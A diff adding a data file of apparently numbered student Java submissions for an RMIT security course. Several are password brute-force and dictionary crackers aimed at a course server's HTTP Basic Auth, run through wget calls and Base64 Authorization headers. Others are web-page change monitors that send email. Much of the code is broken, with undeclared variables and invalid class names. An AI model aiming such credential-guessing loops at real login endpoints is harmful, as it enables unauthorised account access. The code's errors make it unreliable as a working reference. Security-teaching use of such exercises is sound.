+            System.out.println("" Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+            System.exit(0);
+      }
+
+
+
+
+
+     
+      }
+      catch (IOException e) {
+      System.out.println(""exception happened - here's what I know: "");
+      e.printStackTrace();
+      System.exit(-1);
+                            }
+                    }
+           }
+ }
+
+
+
+class CapLetterThread extends Thread {
+
+String pass,s;
+char a,b,c;
+int z=0;
+int attempt=0;
+Process p;
+char pas[]=new char[4];
+char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
+             'R','S','T','U','V','W','X','Y','Z'};
+int time = System.currentTimeMillis();
+public void run ()
+{
+for(int i=0;i<pos.length;i++){
+ for(int j=0;j<pos.length;j++){
+  for(int k=0;k<pos.length;k++){
+    pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]);
+
+    try {
+        System.out.println(""Trying  crack using: ""+pass);
+        attempt++;
+
+        p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+        try{
+            p.waitFor();
+            }
+        catch(Exception q){}
+
+
+         z = p.exitValue();
+
+
+         if(z==0)
+         {
+            stop = System.currentTimeMillis();
+           float duration = stop - start;
+           BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
+           out.write(""\n"");
+           out.write("" BRUTE FORCE ATTACK ----Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+           out.close();
+           System.out.println(""Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+           System.exit(0);
+          }
+
+
+
+
+   
+         }
+        catch (IOException e) {
+            System.out.println(""exception happened - here's what I know: "");
+            e.printStackTrace();
+            System.exit(-1);
+         }
+
+        }
+      }
+    }
+  }
+}
+
+
+
+class SmallLetterThread extends Thread {
+
+String pass,s;
+char a,b,c;
+int z=0;
+int attempt=0;
+Process p;
+char pas[]=new char[4];
+char pos[]={'a','b','c','d','e','f','g','h',
+             'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
+ int time = System.currentTimeMillis();
+public void run ()
+{
+for(int i=0;i<pos.length;i++){
+ for(int j=0;j<pos.length;j++) {
+  for(int k=0;k<pos.length;k++) {
+    pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]);
+   try {
+        System.out.println(""Trying  crack using: ""+pass);
+        attempt++;
+
+       p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+       try{
+       p.waitFor();
+          }
+       catch(Exception q){}
+
+        z = p.exitValue();
+
+
+        if(z==0)
+        {
+          stop = System.currentTimeMillis();
+         float duration = stop - start;
+         BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
+         out.write(""\n"");
+         out.write("" BRUTE FORCE ATTACK ----Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+         out.close();
+         System.out.println(""Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
+         System.exit(0);
+         }
+
+
+
+        
+        }
+        catch (IOException e) {
+          System.out.println(""exception happened - here's what I know: "");
+          e.printStackTrace();
+          System.exit(-1);
+          }
+
+        }
+      }
+    }
+  }
+}
+
+
+"
+216.java,"
+import java.io.*;
+import java.net.*;
+import java.util.*;
+import java.*;
+
+public class Dictionary
+{
+
+  public static void  main(String args[])
+  {
+    StringWriter sw = new StringWriter();
+    PrintWriter  pw = new PrintWriter();
+    int flag=1;
+    String filename = ""words"";
+   try
+   {
+     String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+     String thePassword= new String();
+
+     BufferedReader inputStream= new BufferedReader(new FileReader(filename));
+     String line=inputStream.readLine();
+     stime = System.currentTimeMillis();
+     while (line!= null && flag==1)
+	 {
+          try {
+            URL url = new URL (urlString);
+
+
+            String userPassword = """" + "":"" + line;
+            String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
+
+
+            URLConnection uc = url.openConnection();
+            uc.setRequestProperty(""Authorization"", "" "" + encoding);
+            InputStream content = (InputStream)uc.getContent();
+     endtime = System.currentTimeMillis();
+            BufferedReader in   =
+                      new BufferedReader (new InputStreamReader (content));
+            String line2;
+            while ((line2 = in.readLine()) != null) {
+            pw.println (line2);
+            }
+            flag=0;
+    System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds."");
+          }catch (MalformedURLException e) {
+
+           flag=1;
+          }catch (IOException e) {
+
+           flag=1;
+          }
+        line=inputStream.readLine();
+     }
+     inputStream.close();
+   }
+   catch(FileNotFoundException e)
+   {
+	 System.err.println(""File ""+filename+"" was not found"");
+   }
+   catch(IOException e)
+   {
+ 	 System.err.println(""Error "");
+   }
+
+   System.out.println(""content is ""+ sw.toString());
+  }
+ }"
+101.java,"
+
+import java.net.*;
+import java.io.*;
+
+public class SendEMail {
+
+ public void SendEMail(){}
+
+public void sendMail(String recipient,String c, String subject){
+   try {
+
+      Socket s = new Socket(""yallara.cs.rmit.edu."", 25);
+      BufferedReader in = new BufferedReader
+          (new InputStreamReader(s.getInputStream(), ""8859_1""));
+      BufferedWriter out = new BufferedWriter
+          (new OutputStreamWriter(s.getOutputStream(), ""8859_1""));
+
+      send(in, out, ""HELO theWorld"");
+      
+      
+      send(in, out, ""MAIL FROM: <watch@dog.>"");
+      send(in, out, ""RCPT : ""+recipient);
+      send(in, out, ""DATA"");
+      send(out, ""Subject: ""+ subject);
+      send(out, ""From: WatchDog.java"");
+      send (out, ""\n"");
+      
+      BufferedReader reader;
+      String line;
+      reader = new BufferedReader(new InputStreamReader(new FileInputStream()));
+      line = reader.readLine();
+      while (line != null){
+          send(out, line);
+         line = reader.readLine();
+      }
+      send(out, ""\n.\n"");
+      send(in, out, ""QUIT"");
+      s.print();
+      }
+   catch (Exception e) {
+      e.printStackTrace();
+      }
+   }
+
+ public void send(BufferedReader in, BufferedWriter out, String s) {
+   try {
+      out.write(s + ""\n"");
+      out.flush();
+      System.out.println(s);
+      s = in.readLine();
+      System.out.println(s);
+      }
+   catch (Exception e) {
+      e.printStackTrace();
+      }
+   }
+
+ public void send(BufferedWriter out, String s) {
+   try {
+      out.write(s + ""\n"");
+      out.flush();
+      System.out.println(s);
+      }
+   catch (Exception e) {
+      e.printStackTrace();
+      }
+   }
+}"
+036.java,"import java.io.*;
+import java.util.*;
+import java.text.*;
+import java.net.*;
+
+
+public class LoginAttempt 
+{
+
+    
+    
+    
+    private String urlName = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+    private String userName = """";
+    private String connectString = """";
+
+	
+    public LoginAttempt()
+    {
+    }   
+
+
+	
+
+    public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)
+    {
+       boolean foundPassword = false;
+       LoginAttemptResults results = new LoginAttemptResults();
+       
+       for( i = 0; i < casedPasswords.length; i++)	
+       {
+           passwordsTried++;
+    	   try
+    	   {
+           		URL targetURL;
+           		HttpURLConnection connection;
+    	   	    targetURL = new URL(urlName);
+               	connection = (HttpURLConnection) targetURL.openConnection();
+    
+              	connectString = userName + "":"" + casedPasswords[i].trim();
+        		connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getBytes());
+        	   	connection.setRequestProperty(""Authorization"", "" "" + connectString);
+        	    connection.connect();
+        
+        		if(connection.getResponseCode() == 200)
+        		{
+        		    foundPassword = true;
+        
+        		    System.out.println(""Connected for "" + casedPasswords[i]);
+        
+        		    
+        		    System.out.println(""\nvvvvvvvv File Contents vvvvvvvv\n"");
+        		    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+                    String line;
+                    for(int j = 1; j <= 20; j++)
+                        if((line = in.readLine()) != null)
+                			System.out.println(line);
+                		else
+                			break;
+        		    System.out.println(""\n^^^^^^^^ File Contents ^^^^^^^^\n"");
+        		    in.print();
+        		} 
+    	   }
+    	   catch(IOException e)
+    	   {
+     		    System.out.println(""tryPasswords error: "" + e + "" at password number "" + passwordsTried + "" ("" + casedPasswords[i] + "")."");
+    	   }  
+    	   if(foundPassword) break;
+       } 
+       results.setSuccess(foundPassword);
+       results.setPasswordsTried(passwordsTried);
+       return results;
+    }  
+
+
+} 
+"
+024.java,"
+
+
+
+import java.util.*;
+import java.net.*;
+import java.io.*;
+import javax.swing.*;
+
+public class PasswordCombination
+{
+    private int      pwdCounter = 0;
+    private    int  startTime;
+    private String   str1,str2,str3;
+    private String   url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+    private String   loginPwd;
+    private String[] password;
+    private HoldSharedData data;
+    private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
+                            'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
+                            'a','b','c','d','e','f','g','h','i','j','k','l','m',
+                            'n','o','p','q','r','s','t','u','v','w','x','y','z'};
+
+    public PasswordCombination()
+    {
+        System.out.println(""Programmed by   for INTE1070 Assignment 2"");
+
+        String input = JOptionPane.showInputDialog( ""Enter number of threads"" );
+        if(  input == null  )
+           System.exit(0);
+
+        int numOfConnections = Integer.parseInt( input );
+        startTime = System.currentTimeMillis();
+        int pwdCounter  = 52*52*52 + 52*52 + 52;
+        password = new String[pwdCounter];
+
+        doPwdCombination();
+
+        System.out.println(""Total Number of Passwords Generated: "" + pwdCounter);
+        createConnectionThread( numOfConnections );
+    }
+
+    private void doPwdCombination()
+    {
+        for( int i = 0; i < 52; i ++ )
+        {
+            str1 = """" + chars[i];
+            password[pwdCounter++] = """" + chars[i];
+            System.err.print( str1 + "" | "" );
+
+            for( int j = 0; j < 52; j ++ )
+            {
+                str2 = str1 + chars[j];
+                password[pwdCounter++] = str1 + chars[j];
+
+                for( int k = 0; k < 52; k ++ )
+                {
+                    str3 = str2 + chars[k];
+                    password[pwdCounter++] = str2 + chars[k];
+                }
+            }
+        }
+
+        System.err.println( ""\n"" );
+    }
+
+    private void loadPasswords( )
+    {
+        FileReader     fRead;
+        BufferedReader buf;
+        String         line = null;
+        String         fileName = ""words"";
+
+        try
+        {
+            fRead = new FileReader( fileName );
+            buf = new BufferedReader(fRead);
+
+            while((line = buf.readLine( )) != null)
+            {
+                password[pwdCounter++] = line;
+            }
+        }
+        catch(FileNotFoundException e)
+        {
+            System.err.println(""File not found: "" + fileName);
+        }
+        catch(IOException ioe)
+        {
+            System.err.println(""IO Error "" + ioe);
+        }
+    }
+
+    private void createConnectionThread( int input )
+    {
+        data = new HoldSharedData( startTime, password, pwdCounter );
+
+        int numOfThreads = input;
+        int batch = pwdCounter/numOfThreads + 1;
+        numOfThreads = pwdCounter/batch + 1;
+        System.out.println(""Number of Connection Threads Used:"" + numOfThreads);
+        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
+
+        for( int index = 0; index < numOfThreads; index ++ )
+        {
+            connThread[index] = new ConnectionThread( url, index, batch, data );
+            connThread[index].conn();
+        }
+    }
+}  "
+184.java,"
+
+import java.util.Timer;
+import java.util.TimerTask;
+import java.net.*;
+import java.io.*;
+import javax.mail.*;
+import javax.mail.internet.*;
+import java.util.*;
+
+public class WatchDog {
+    Timer timer;
+
+    
+    public WatchDog() {
+        timer = new Timer();
+        timer.schedule(new WatchTask(),
+	               0,        
+	               1*1000);  
+    }
+
+    class WatchTask extends TimerTask {
+
+        public void run() {
+			try {
+				URL rmitUrl = new URL(""http://www.cs.rmit.edu./students/"");
+				URLConnection rmitConnection = rmitUrl.openConnection();
+
+        		BufferedReader in = new BufferedReader(
+        		                        new InputStreamReader(
+        		                        rmitConnection.getInputStream()));
+        		String inputLine;
+
+        		BufferedReader bufr = new BufferedReader(
+					                      new FileReader (""dest.txt""));
+        		String outputLine;
+
+        		while (((inputLine = in.readLine()) != null) && ((outputLine = bufr.readLine()) != null))
+        		{
+					if (inputLine.compareTo(outputLine) != 0)
+					{
+						System.out.println(inputLine);
+						System.out.println(outputLine);
+						System.out.println(""Sending Email Part..."");
+					
+						postMail(""@cs.rmit.edu."", ""Notice"", inputLine, ""@cs.rmit.edu."");
+					}
+
+				}
+    
+        		in.close();
+        		bufr.close();
+			}
+			catch(Exception e){}
+
+		}
+    }
+
+    public static void main(String args[]) throws Exception{
+		System.out.println(""About  schedule task."");
+			URL phpUrl = new URL(""http://www.cs.rmit.edu./students/"");
+			URLConnection urlConnection = phpUrl.openConnection();
+
+        	BufferedReader out = new BufferedReader(
+        	                        new InputStreamReader(
+        	                        urlConnection.getInputStream()));
+        	String record;
+
+        	PrintWriter pw = new PrintWriter (new
+        	                     BufferedWriter (new FileWriter (""dest.txt"")));
+
+        	record = out.readLine();
+        	while (record != null)
+        	{
+				pw.println(record);
+				record = out.readLine();
+			}
+			pw.close();
+
+		for (int i = 0; i < 3600; i ++)
+		{
+			System.out.println(""WatchDog running..."");
+			new WatchDog();
+		}
+		System.out.println(""Task scheduled."");
+    }
+
+
+    public void postMail( String recipients, String subject, String message , String from)
+    			throws Exception
+	{
+	    boolean debug = false;
+
+	     
+	     Properties props = new Properties();
+	     props.put(""mail.smtp.host"", ""pwd..rmit.edu."");
+
+	    
+	    Session session = Session.getDefaultInstance(props, null);
+	    session.setDebug(debug);
+
+	    
+	    Message msg = new MimeMessage(session);
+
+	    
+	    InternetAddress addressFrom = new InternetAddress(from);
+	    msg.setFrom(addressFrom);
+
+	    InternetAddress addressTo = new InternetAddress();
+        addressTo = new InternetAddress(recipients);
+	    msg.setRecipients(Message.RecipientType.NORMAL, addressTo);
+
+
+	    msg.addHeader(""MyHeaderName"", ""WebPage Changed Notice"");
+
+	    
+	    msg.setSubject(subject);
+	    msg.setContent(message, ""text/plain"");
+	    Transport.send(msg);
+	}
+
+}
+
+"
+095.java,"
+
+import java.net.*;
+import java.io.*;
+import java.util.*;
+import java.text.*;
+
+public class WatchDog extends Thread {
+
+       private HttpURLConnection httpUrlCon;
+       private URL stdurl;  
+       private String spec = ""http://www.cs.rmit.edu./students/""; 
+       private String command="""";                
+
+       private String firstModified ="""";     
+       private String secModified = """";      
+       private String fileModified = """";     
+
+       private BufferedReader instd;        
+       private Vector firstVector;          
+       private Vector secondVector;         
+       private Vector tmpVector;            
+
+       private  int intervalTime = 24*60*60*1000; 
+       private boolean bstop = false;             
+       private int count = 0;                          
+       private int totalDuration = 30*24*60*60*1000;   
+
+       private String yourSMTPserver = ""mail.rmit.edu."";        
+       private int smtpPort = 25;                                 
+       private String mailFrom = ""@yallara.cs.rmit.edu."";    
+       private String mailTo   = ""@.rmit.edu."";  
+       private String subject = """";                              
+       private String message ="""";                               
+
+       private  Socket socketsmtp;     
+       private  BufferedReader emailin;
+       private  PrintStream emailout;  
+       private  String reply = """";     
+       
+       public WatchDog(){
+              firstVector = new Vector();
+              secondVector = new Vector();
+              tmpVector = new Vector();
+       }
+       
+       public void FirstRead(){
+              readContent(firstVector);
+              firstModified = fileModified;
+       }
+       
+       public void run(){
+              while(!bstop){
+                    readPageAgain();
+              }
+       }
+       
+       public void readPageAgain(){
+              try{
+                  Thread.sleep(intervalTime);
+
+              }catch(InterruptedException e){e.printStackTrace();}
+              count += intervalTime;
+              readContent(secondVector);
+              secModified = fileModified;
+
+              if(firstModified.equals(secModified)){
+                 if(count == totalDuration)
+                    bstop =true;
+                    message = ""After "" + (double)intervalTime/(60*60*1000) + "" hours  is  change!"";
+                    subject = "" is  change  the web "";
+                    try{
+                        doSendMail(mailFrom, mailTo, subject, message);
+                    }catch (SMTPException e){}
+              }
+              else if(!(firstModified.equals(secModified))){
+                     if(count == totalDuration)
+                       bstop = true;
+                    message = getChangeMessage();
+                    subject = ""  some changes  the web "";
+                    try{
+                        doSendMail(mailFrom, mailTo, subject, message);
+                    }catch(SMTPException e){}
+
+                    firstModified = secModified;
+                    firstVector.clear();
+                    for(int i=0; i<secondVector.size(); i++){
+                        firstVector.add((String)secondVector.get(i));
+                    }
+            }
+       }
+       
+       public void readContent(Vector avect){
+
+              String fmod ="""";
+              if(spec.indexOf(""http://www.cs.rmit.edu./"")!=-1){
+                 fmod = ""File last modified :"";
+                 command = ""lynx -nolist -dump "" + spec;
+              }
+              else {
+                    fmod = ""Last-Modified:"";
+                    command =""lynx -mime_header -dump "" +spec;
+              }
+              try{
+                  Runtime runtime = Runtime.getRuntime();
+                  Process p = runtime.exec(command);
+                  instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
+                  String str=null;
+                  avect.clear();
+                  while((str = instd.readLine())!= null){
+                         avect.add(str);
+                         if(str.indexOf(fmod) !=-1){
+                            fileModified = str;
+                         }
+                  }
+                  instd.print();
+              }catch(MalformedURLException e){System.out.println(e.getMessage());}
+               catch(IOException e1){System.out.println(e1.getMessage());}
+       }
+
+       
+       public String getChangeMessage(){
+              String mssg = """";
+              for(int i =0; i<secondVector.size();i++){
+                  tmpVector.add((String)secondVector.get(i));
+              }
+              
+              for(int i=0; i<firstVector.size(); i++){
+                  String line = (String)(firstVector.get(i));
+                  int same = 0;
+                  for(int j=0; j<tmpVector.size(); j++){
+                      String newline = (String)(tmpVector.get(j));
+                      if(line.equals(newline)){
+                           if(same == 0){
+                              tmpVector.remove(j);
+                              same++;
+                           }
+                      }
+                  }
+              }
+              
+              for(int i = 0; i<secondVector.size(); i++){
+                  String line = (String)(secondVector.get(i));
+                  int same =0;
+                  for(int j=0; j<firstVector.size(); j++){
+                      String newline = (String)(firstVector.get(j));
+                      if(line.equals(newline)){
+                         if(same == 0){
+                            firstVector.remove(j);
+                            same++;
+                         }
+                      }
+                  }
+              }
+              if(firstVector.size()!=0){
+                  mssg += ""The following lines  removed in the latest modified web : \r\n"";
+                  for(int i=0; i<firstVector.size(); i++){
+                      mssg +=(String)firstVector.get(i) + ""\r\n"";
+                  }
+              }
+              if(tmpVector.size()!=0){
+                  mssg += ""The following lines  new ones in the latest modified web : \r\n"";
+                  for(int i=0; i<tmpVector.size(); i++){
+                      mssg += (String)tmpVector.get(i) + ""\r\n"";
+                  }
+              }
+
+              return mssg;
+       }
+
+       
+       public void setMonitorURL(String url){
+              spec = url;
+       }
+       
+       public void setMonitorDuration(int t){
+              totalDuration = t*60*60*1000;
+       }
+       
+       public void setMonitorInterval(int intervalMinutes){
+              intervalTime = intervalMinutes*60*1000;
+       }
+       
+       public void setSMTPServer(String server){
+              yourSMTPserver = server;
+       }
+       
+       public void setSMTPPort(int port){
+              smtpPort = port;
+       }
+       
+       public void setMailFrom(String mfrom){
+              mailFrom = mfrom;
+       }
+       
+       public void setMailTo(String mto){
+              mailTo = mto;
+       }
+       
+       public String getMonitorURL(){
+              return spec;
+       }
+       
+       public  getDuration(){
+              return totalDuration;
+       }
+       
+       public  getInterval(){
+              return intervalTime;
+       }
+       
+       public String getSMTPServer(){
+              return yourSMTPserver;
+       }
+       
+       public int getPortnumber(){
+              return smtpPort;
+       }
+       
+       public String getMailFrom(){
+              return mailFrom;
+       }
+       
+       public String getMailTo(){
+              return mailTo;
+       }
+       
+       public String getServerReply() {
+              return reply;
+       }
+       
+       public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
+              connect();
+              doHail(mfrom, mto);
+              doSendMessage(mfrom, mto, subject, msg);
+              doQuit();
+       }
+       
+       public void connect() throws SMTPException {
+              try {
+                   socketsmtp = new Socket(yourSMTPserver, smtpPort);
+                   emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
+                   emailout = new PrintStream(socketsmtp.getOutputStream());
+                   reply = emailin.readLine();
+                   if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
+                   else {
+                         throw new SMTPException(""Error connecting  SMTP server "" + yourSMTPserver + ""  port "" + smtpPort);
+                   }
+             }catch(Exception e) { throw new SMTPException(e.getMessage());}
+       }
+       
+       public void doHail(String mfrom,  String mto) throws SMTPException {
+              if (doCommand(""HELO "" + yourSMTPserver))
+                  throw new SMTPException(""HELO command Error."");
+              if (doCommand(""MAIL FROM: "" + mfrom))
+                  throw new SMTPException(""MAIL command Error."");
+              if (doCommand(""RCPT : "" + mto))
+                  throw new SMTPException(""RCPT command Error."");
+       }
+       
+       public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {
+
+              Date date = new Date();
+	          Locale locale = new Locale("""","""");
+	          String pattern = ""hh:mm: a',' dd-MMM-yyyy"";
+	          SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
+	          formatter.setTimeZone(TimeZone.getTimeZone(""Australia/Melbourne""));
+              String sendDate = formatter.format(date);
+
+              if (doCommand(""DATA""))
+                  throw new SMTPException(""DATA command Error."");
+              String header = ""From: "" + mfrom + ""\r\n"";
+              header += "": "" + mto + ""\r\n"";
+              header += ""Subject: "" + subject + ""\r\n"";
+              header += ""Date: "" + sendDate+ ""\r\n\r\n"";
+              if (doCommand(header + msg + ""\r\n.""))
+                 throw new SMTPException(""Mail Transmission Error."");
+       }
+       
+       public boolean doCommand(String commd) throws SMTPException {
+               try {
+                    emailout.print(commd + ""\r\n"");
+                    reply = emailin.readLine();
+                    if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
+                        return true;
+                    else
+                        return false;
+               }catch(Exception e) {throw new SMTPException(e.getMessage());}
+       }
+       
+       public void doQuit() throws SMTPException {
+              try {
+                   if (doCommand(""Quit""))
+                       throw new SMTPException(""QUIT Command Error"");
+                   emailin.put();
+                   emailout.flush();
+                   emailout.send();
+                   socketsmtp.put();
+              }catch(Exception e) { }
+       }
+}"
+066.java,"import java.io.*;
+import java.util.*;
+import java.Object;
+import java.String;
+
+class WatchDog
+{
+    public static void main (String [] args)
+    {
+      try{
+       int i = 0, day1,change = 0;
+       Date dt = new Date();
+       i = dt.getDate();
+       System.out.println();
+       Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students"");
+       System.out.println(""THE PROGRAMMING IS RUNNING,IF  WANT  EXIT,PRESS CTRL + Z\n"");
+       System.out.println(""Today is: "" + dt );
+           for(int i= 1 ; i > 0; i++)
+           {
+              Date dt1 = new Date();
+              day1 = dt1.getDate();
+              if( i != day1)
+              {
+              System.out.println(""this  is: "" + i );
+               i = day1;
+              change = check_web();
+              }
+               if (change == 1)
+                break;
+           }
+         }
+     catch(IOException ex)
+      {
+           System.out.println(""hello,try"");
+      }
+   }
+
+    public static int check_web()
+    {
+    try{
+    int ch=0;
+    String line="""";
+    String file = ""index.html"";
+    String file1 = ""index.html.1"";
+    Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students"");
+    Runtime.getRuntime().exec(""diff index.html index.html.l > diff."");
+    File f = new File(""diff."");
+    if (f.length()!=0)
+    {
+     ch = 1;
+     Runtime.getRuntime().exec(""mail @cs.rmit.edu. < diff.""); 
+    }
+    else
+     System.out.println(""the webpage was not changed!!!"");
+     File f1 = new File(file);
+     File f2 = new File(file1);
+     if(ch == 1)
+     {
+      f1.delete(); 
+     }
+     else
+      f2.delete(); 
+
+      return ch;
+    }
+    catch(IOException e)
+    {
+      System.out.println(""hello,try again!!!"");
+      return 1;
+    }
+  }
+
+}
+"
+248.java,"import java.io.*;
+import java.net.*;
+
+
+
+
+
+
+
+
+
+
+
+public class Dictionary
+{
+   private String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+   private static String password;
+   private static int length;          
+   private static int t_counter;       
+   private static int f_counter;       
+                                       
+   private static int respCode;        
+   private static BufferedReader buf;  
+
+   public Dictionary()
+   {
+      FileReader fRead;
+      Authenticator.setDefault(new DictionaryAuthenticator());
+      t_counter = 0;
+      f_counter = 0;
+      length = 0;
+
+      try
+      {
+         fRead = new FileReader(""/usr/share/lib/dict/words"");
+         buf = new BufferedReader(fRead);
+      }
+      catch (FileNotFoundException e)
+      {
+         System.out.println(""File not found"");
+      }
+   }
+
+   public static void main(String[] args)
+   {
+      Dictionary dict = new Dictionary();
+      String file = "" "";
+      while(respCode != 200 )
+      {
+         file = dict.fetchURL();
+      }
+      System.out.println(""Number of attempts: "" + t_counter);
+      System.out.println(""Password: "" + password);
+      System.out.println(file);
+   }
+
+   private String fetchURL()
+   {
+      StringWriter sw = new StringWriter();
+      PrintWriter pw = new PrintWriter();
+
+      try
+      {
+         URL url = new URL(urlString);
+         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
+         respCode = huc.getResponseCode();
+         InputStream content = huc.getInputStream();
+         BufferedReader in = 
+            new BufferedReader (new InputStreamReader (content));
+         String line;
+         while ((line = in.readLine()) != null) 
+         {
+            pw.println(line);
+         }
+      } catch (IOException e) {
+         pw.println(""Error  URL"");
+      }
+      return sw.toString();
+   }
+            
+   class DictionaryAuthenticator extends Authenticator 
+   {
+      private String username = """";
+
+      protected PasswordAuthentication getPasswordAuthentication()
+      {
+         return new PasswordAuthentication(username,generatePassword());
+      }
+
+      protected char[] generatePassword()
+      {
+         String word = null;
+         int chars;
+         char c[] = null;
+ 
+         chars = 0;
+       
+         if(f_counter == 0) 
+         
+         
+         { 
+            try
+            {
+               
+               {
+                  word = buf.readLine();
+                  if(word != null)
+                  {
+                     length = word.length();
+                     chars = 0;
+                     for(int i=0; i<length; i++)
+                     {
+                        if(Character.isLetter(word.charAt(i))) chars++;
+                     }
+                  }
+               }
+               while( word != null && (length > 3 || chars != length));
+
+            }
+            catch (IOException ioe)
+            {
+               System.out.println(""IO Error: "" + ioe);
+            }
+
+            if(word != null)
+            {
+               c = word.toCharArray(); 
+               password = new String(c);
+            } 
+            else
+            {
+               System.out.println("" more words in dictionary"");
+               System.exit(0);
+            }
+
+            f_counter++;
+         } 
+         else
+         
+         {
+            c = password.toCharArray(); 
+            for(int i=0; i< length; i++)
+            {
+               if(Character.isLowerCase(c[i]))
+               {
+                  c[i] = Character.toUpperCase(c[i]);
+               }
+               else
+               {
+                  c[i] = Character.toLowerCase(c[i]);
+               }
+            }
+            password = new String(c);
+            f_counter = 0;
+         }
+
+         t_counter++;
+
+         return c;
+      }
+   }
+}
+"
+082.java,"import java.net.*;
+import java.util.*;
+import java.io.*;
+
+
+
+
+public class BruteForce {
+  URL url;
+  URLConnection uc;
+  String username, password, encoding;
+  int pretime, posttime;
+  String c ;
+
+  public BruteForce(){
+    pretime = new Date().getTime();
+    try{
+      url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+    }catch(MalformedURLException e){
+      e.printStackTrace();
+    }
+    username = """";
+  }
+
+  public void checkPassword(char[] pw){
+    try{
+      password = new String(pw);
+      encoding = new pw.misc.BASE64Encoder().encode((username+"":""+password).getBytes());
+      uc = url.openConnection();
+      uc.setRequestProperty(""Authorization"", "" "" + encoding);
+      bf = uc.getHeaderField(null);
+      System.out.println(password);
+      if(bf.equals(""HTTP/1.1 200 OK"")){
+        posttime = new Date().getTime();
+         diff = posttime - pretime;
+        System.out.println(username+"":""+password);
+        System.out.println();
+        System.out.println(diff/1000/60 + "" minutes "" + diff/1000%60 + "" seconds"");
+        System.exit(0);
+      }
+    }catch(MalformedURLException e){
+      e.printStackTrace();
+    }catch(IOException ioe){
+      ioe.printStackTrace();
+    }
+  }
+
+  public static void main (String[] args){
+    BruteForce bf = new BruteForce();
+    char i, j, k;
+
+    
+    for(i='a'; i<='z'; i++){
+      for(j='a'; j<='z'; j++){  
+        for(k='a'; k<='z'; k++){
+          char[] pw = {i, j, k};
+          bf.checkPassword(pw);
+        }
+      }
+    }
+
+    
+    for(i='A'; i<='Z'; i++){
+      for(j='A'; j<='Z'; j++){  
+        for(k='A'; k<='Z'; k++){
+          char[] pw = {i, j, k};
+          bf.checkPassword(pw);
+        }
+      }
+    }
+
+    
+    for(i='A'; i<='Z'; i++){
+      for(j='a'; j<='z'; j++){  
+        for(k='a'; k<='z'; k++){
+          char[] pw = {i, j, k};
+          bf.checkPassword(pw);
+        }
+      }
+    }
+
+    for(i='A'; i<='z'; i++){ 
+      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
+        continue;
+      }
+      for(j='A'; j<='Z'; j++){  
+        for(k='a'; k<='z'; k++){
+          char[] pw = {i, j, k};
+          bf.checkPassword(pw);
+        }
+      }
+    }   
+
+    for(i='A'; i<='z'; i++){ 
+      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
+        continue;
+      }
+      for(j='a'; j<='z'; j++){  
+        for(k='A'; k<='Z'; k++){
+          char[] pw = {i, j, k};
+          bf.checkPassword(pw);
+        }
+      }
+    } 
+        
+    for(i='a'; i<='z'; i++){
+      for(j='A'; j<='Z'; j++){  
+        for(k='A'; k<='Z'; k++){
+          char[] pw = {i, j, k};
+          bf.checkPassword(pw);
+        }
+      }
+    }
+    
+    
+    for(i='A'; i<='z'; i++){ 
+      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
+        continue;
+      }
+      for(j='A'; j<='z'; j++){  
+        if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
+          continue;
+        }
+        char[] pw = {i, j};
+        bf.checkPassword(pw);
+      }
+    }   
+    
+    
+    for(i='A'; i<='z'; i++){     
+      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
+        continue;
+      }
+      char[] pw = {i};
+      bf.checkPassword(pw);
+    }
+  }
+}
+        
+"
+102.java,"
+
+import java.net.*;
+import java.io.*;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.util.*;
+import java.*;
+
+
+public class Dictionary {
+    public static void main(String[] args) throws Exception {
+        String pass;
+        int attempt = 0;
+        String fileName = ""words.txt"", line;
+        BufferedReader reader;
+        Dictionary dict = new Dictionary();
+        boolean flag=false;
+
